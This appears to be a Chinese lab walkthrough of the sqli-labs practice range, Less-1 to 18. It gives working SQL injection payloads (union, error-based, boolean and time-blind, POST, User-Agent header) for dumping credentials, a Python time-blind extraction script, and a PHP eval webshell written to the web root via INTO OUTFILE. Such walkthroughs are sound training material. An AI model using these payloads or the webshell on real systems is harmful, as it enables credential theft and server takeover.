sqli-labs靶场WP
文章目录
- sqli-labs靶场WP
- Page-1(Basic Challenges)
- Less-1(GET-Error based-Single quotes-String)
- Less-2(GET-Error based-Intiger based)
- Less-3(GET-Error based-Single quotes with twist-string)
- Less-4(GET-Error based-Double Quotes-String)
- Less-5(GET-Double Injection-Single Quotes-String)
- Less-6(GET-Double Injection-Double Quotes-String)
- Less-7(GET-Dump into outfile-String)
- Less-8(GET-Blind-Boolian based-Single Quotes)
- Less-9(GET-Blind-Time based-Single Quotes)
- Less-10(GET-Blind-Time based-double quotes)
- Less-11(Error Based-Single quotes-String)
- Less-12(POST-Error Based-Double quotes-String-with twist)
- Less-13(POST-Double Injection-Single quotes-String-with twist)
- Less-14(POST-Double Injection-Single quots-String-with twist)
- Less-15(POST-Blind-Boolian/time Based-Single quotes)
- Less-16(POST-Blind-Boolian/time Based-Double quotes)
- Less-17(POST-Update Query-Error Based-String)
- Less-18(Header Injection-Uagenr field-Error based)
Page-1(Basic Challenges)
Less-1(GET-Error based-Single quotes-String)
-
这是一个单引号闭合的字符型sql注入漏洞,后台sql查询语句为
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
-
我们首先传入?id=1看看回显,然后加引号闭合前面的单引号构造恶意语句,这里会回显语法错误,因为后面还有一个单引号没有被闭合,那么我们可以通过注释符忽略后面语句;
-
常见的注释有“–+”、“-- ”、“#”,特别要注意的是“-- ”这后面是一个空格少了空格是达不到注释效果的;
-
那么这里是GET请求,一般用–+进行注释即可,那我们传入
?id=1'--+
-
然后我们利用order by函数判断列数
?id=1' order by 4--+ //回显Unknown column '4' in 'order clause' ?id=1' order by 3--+ //回显正常,说明列数是3
-
然后我们使用联合注入
?id=1' union select 1,2,3--+ //这里1,2,3是为了找出回显点,来显示我们想要的敏感信息
-
然后你会发现没有显示该有的1或2或3,这是因为id=1的查询结果占用了显示的位置,我们把id改成不存在的数据即可,即?id=-1
-
那么我们可以看到回显的是2和3,我们就在2或3这里动手脚
-
爆数据库
?id=-1' union select 1,2,database()--+
-
爆表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
-
爆列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
-
爆字段
?id=-1' union select 1,2,group_concat(username,'%',password) from users--+ //concat()是连接字符串
-
这样我们就拿到后台密码了。
Less-2(GET-Error based-Intiger based)
-
无闭合的数字型sql注入漏洞,后台sql查询语句为
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
-
思路和[Less-1](#Less-1(GET-Error based-Single quotes-String))是相同的,payload把用于闭合的单引号删去即可
Less-3(GET-Error based-Single quotes with twist-string)
-
单引号和括号闭合的sql注入漏洞,后台sql查询语句为
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
-
思路和[Less-1](#Less-1(GET-Error based-Single quotes-String))一致,只是换了一种闭合方式,payload把用于闭合的单引号换成单引号和括号即可
Less-4(GET-Error based-Double Quotes-String)
-
双引号闭合的sql注入漏洞,后台sql查询语句为
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
-
思路和[Less-1](#Less-1(GET-Error based-Single quotes-String))一致,只是换了一种闭合方式,payload把用于闭合的单引号换成双引号即可
Less-5(GET-Double Injection-Single Quotes-String)
-
双注入单引号闭合字符型sql注入漏洞,后台查询语句为
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $row = mysql_fetch_array($result); #这里省略了一些语句 print_r(mysql_error());
-
我们可以采用updatexml报错注入,也可以用盲注,盲注耗时较长,尽量不选用,关于substr()函数的用法可以看这个博客
?id=1' and updatexml(1,concat(0x5e,database(),0x5e),1) --+ //在database()处替换sql语句最后爆出敏感信息 //当内容不能被完全显示时可以用substr()函数截取 ?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),1)),0x5e),1) --+
Less-6(GET-Double Injection-Double Quotes-String)
- 双注入双引号闭合字符型sql注入漏洞;
- 和[Less-5](#Less-5(GET-Double Injection-Single Quotes-String))思路一样,把单引号替换即可
Less-7(GET-Dump into outfile-String)
-
导出文件字符型注入漏洞;
-
首先是闭合方式,这里我们可以用时间盲注来猜解类型
?id=1')) and sleep(5) --+ //这里发现网页的返回有5s的延迟,说明闭合方式正确
-
这里回显提示我们“Use outfile…”,这里就是这道题核心,当然也可以使用布尔盲注;
-
因为false时回显信息不同,所以我们先用order by num判断列数
?id=1')) order by 3--+
-
下面就要将一句话木马通过outfile传入网站目录,然后连上去
-
在这之前要了解secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的
当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制此开关默认为NULL,即不允许导入导出。
解决问题:
windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =
MYSQL新特性secure_file_priv对读写文件的影响然后重启mysql,再查询secure_file_priv
-
因此我们在使用outfile注入的时候,首先要知道参数
secure_file_priv
是否有指定的目录,我们只能将webshell写入到指定目录下面。同时,执行读写的权限很重要,一般都要是root?id=1')) and length(@@secure_file_priv)=0 --+ //这里采用布尔盲注猜secure_file_priv的值,如果长度不是零就猜出长度,配合substr()和acill()求出
-
注意:这里的目录我们要用斜杠
/
或者\\,因为windwos路径默认使用的是反斜杠\
,但是这里如果使用单个反斜杠注入会无效?id=1')) union select 1,2, "<?php @eval($_POST[ph0ebus]);?>" into outfile "D:/phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-7" --+
-
然后蚁剑连接即可(这一关参考了一位师傅的解)
-
具体导入导出文件的sql注入原理可参考这篇文章
Less-8(GET-Blind-Boolian based-Single Quotes)
-
传入?id=1回显正常,传入?id=1’回显改变,无错误信息,有两种页面,我们可以使用布尔盲注提取敏感信息
-
我们可以编写python脚本,也可以使用Burp Suite的Intruder模块进行爆破
-
?id=1'and length((select database()))>9--+ #大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4 ?id=1'and (substr((select database()),1,1))>'a'--+ #substr("78909",1,1)=7 substr(a,b,c),a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。 ?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+ 判断所有表名字符长度。 ?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+ 逐一判断表名 ?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+ 判断所有字段名的长度 ?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+ 逐一判断字段名。 ?id=1' and length((select group_concat(username,password) from users))>109--+ 判断字段内容长度 ?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+ 逐一检测内容。
Less-9(GET-Blind-Time based-Single Quotes)
-
基于时间的盲注,用于在正常和错误页面无明显变化的时候,这时候用不了布尔盲注,只能通过延时时间达到提取信息的目的
-
下面给出了时间盲注的部分python脚本,可供参考
-
import requests import time headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'} chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.' database = '' global length for l in range(1,20): Url = 'http://127.0.0.1/sqli-labs-master/Less-8/?id=1" and if(length(database())>{0},1,sleep(3))--+' UrlFormat = Url.format(l) #format()函数使用 start_time0 = time.time() #发送请求前的时间赋值 requests.get(UrlFormat,headers=headers) if time.time() - start_time0 > 2: #判断正确的数据库长度 print('database length is ' + str(l)) global length length = l #把数据库长度赋值给全局变量 break else: pass for i in range(1,length+1): for char in chars: charAscii = ord(char) #char转换为ascii url = 'http://127.0.0.1/sqli-labs-master/Less-8/?id=1" and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+' urlformat = url.format(i,charAscii) start_time = time.time() requests.get(urlformat,headers=headers) if time.time() - start_time > 2: database+=char print('database: ',database) break else: pass print('database is ' + database)
Less-10(GET-Blind-Time based-double quotes)
- 和Less-9原理一致,只是闭合方式不同,将单引号改为双引号就一样了
Less-11(Error Based-Single quotes-String)
-
打开后发现是一个登录页面,先用万能密码
admin' or 1#
试一试,,成功登录,用户是Dump -
对这个注入点开始操作
-
首先用Burp Suite拦截请求,修改内容,防止内容被编码无法达到注入效果
-
uname=admin'order by 2-- &passwd=123&submit=Submit #接下来使用联合注入查询即可 uname=aaa'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+&passwd=123&submit=Submit uname=aaa'union select 1,group_concat(username,'$',password) from users--+&passwd=123&submit=Submit
Less-12(POST-Error Based-Double quotes-String-with twist)
-
和Less-11一样是登录页面,输入
admin
和admin'
发现页面无变化,试试其他闭合方式,输入admin"
后回显错误信息You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"admin"") and password=("") LIMIT 0,1' at line 1
-
由此可以看出其闭合方式为
")
,其他和Less-11一样的操作了
Less-13(POST-Double Injection-Single quotes-String-with twist)
-
同样是登录界面,先输入admin’试试,返回错误信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'') and password=('') LIMIT 0,1' at line 1
-
由此可知闭合方式为
')
,用万能密码admin') or 1#
发现页面无回显,可以采用报错注入试试uname=admin') and extractvalue(1,concat(0x7e,(select database()))) --+ uname=admin') and extractvalue(1,concat(0x7e,(substr((select group_concat(username,0x7e,password) from users),1)),0x7e)) --+
Less-14(POST-Double Injection-Single quots-String-with twist)
- 和Less-13一样,只是闭合方式是双引号
- 一样使用报错注入即可
Less-15(POST-Blind-Boolian/time Based-Single quotes)
- 使用万能密码
admin' or 1#
试出闭合方式为单引号,直接时间盲注即可。
Less-16(POST-Blind-Boolian/time Based-Double quotes)
- 和Less-15操作一样,只是闭合方式为双引号
Less-17(POST-Update Query-Error Based-String)
-
这道题先用Dumb用户找出注入点
uname=Dumb'&passwd=123 uname=Dumb&passwd=123 uname=Dumb&passwd=123' uname=Dumb&passwd=123"
-
发现
passwd
可注入,返回错误信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Dumb'' at line 1
-
很容易发现这是一个单引号闭合,再用
passwd=123'#
试一试,成功,发现注入点 -
然后开始联合注入即可
Less-18(Header Injection-Uagenr field-Error based)
-
基于用户代理的header注入,注入点在User-Agent
-
Burp Suite拦截后修改UA(User-Agent)头为
1'
,根据报错信息You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '127.0.0.1', 'admin')' at line 1
可知是单引号闭合,构造语句1'and payload and'
即可 -
这题没有直接回显,可以使用extractive报错注入
' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and ' ' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and ' ' and extractvalue(1,concat(0x7e,(substr((select group_concat(username,0x7e,password) from users),1)),0x7e)) and ' //当内容不能被完全显示时可以用substr()函数截取
Less-19()